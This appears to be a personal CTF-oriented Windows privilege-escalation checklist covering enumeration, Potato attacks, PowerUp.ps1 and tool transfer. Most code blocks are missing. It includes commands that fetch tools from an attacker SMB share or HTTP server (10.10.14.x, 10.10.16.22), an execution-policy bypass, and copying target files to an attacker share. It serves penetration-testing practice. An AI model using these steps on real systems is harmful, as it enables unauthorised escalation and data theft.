Plot
Let’s say you have successfully compromised the system with lower user privilege. You would have to escalate your privilege into root.
More elaborate steps could be found on PayloadsAllTheThings or sushant747
Here, I uploaded check list and personal tricks.
Checklist
- Kernel Exploit?
- privileges?
- groups?
- Internal services?
- Pivoting?
- File Enumeration?
- Password Hunting?
- Scheduled Tasks?
Basic Enumeration
Kernel Exploit
Privilege
Check on user privilege:
-
Check for SeImpersonatePrivilege: Potato Attack
-
Check for SeMachineAccountPrivilege: Certify.exe
User & Group
File Enumeration
First go to C: and see if there are and hidden directory:
You can also search for passwords:
Network Information
Check for services only open internally:
Local address 0.0.0.0
Local address 0.0.0.0 means that the service is listening on all interfaces. This means that it can receive a connection from the network card, from the loopback interface or any other interface. This means that anyone can connect to it.
Local address 127.0.0.1
Local address 127.0.0.1 means that the service is only listening for connection from the your PC. Not from the internet or anywhere else. This is interesting to us!
Local address 192.168.1.9
Local address 192.168.1.9 means that the service is only listening for connections from the local network. So someone in the local network can connect to it, but not someone from the internet. This is also interesting to us!
Also check for pivoting.
If there are services running internally, check if it is running currently:
AV Detection
Usually not needed during CTF.
-antivirus
-firewall setting
Automated Script
Run multiple automated scripts as some detects that others don’t.
PowerUp.ps1
First start powershell sessions on the shell:
Download PowerUp.ps1 to C:\Users\mssql-svc\app-data\local\temp and run it:
xcopy \\10.10.14.17\share\PowerUp.ps1 .
If there is Script execution restriction, bypass it using powershell -e bypass
Invoke-AllChecks
shows you result:
Writable Path
File Transfer
Powershell
The following sequence of commands creates a PowerShell script named wget.ps1 that performs the download of a file (winpeas.exe) from a specified URL (http://10.10.16.22/winpeas.exe) using the System.Net.WebClient class.
Obviously, I have Python HTTP server running with winpeas.exe on the server.
Now I have the file on the box:
Powershell - 2
impacket-smbserver
I started impacket-smbserver on the directory where I have chisel for windows downloaded:
Now I have chisel for windows on the box. which I downloaded as c.exe:
Windows to Linux transfer
SMB
We wil frist start a SMB server on our Kali machine:
impacket-smbserver share .
On the target machine, let’s connect to the created SMB server:
net use * \\10.10.14.36\share
Through the command copy output.xml Y:
on target machine, we can copy the Applocker output to our local Kali machine: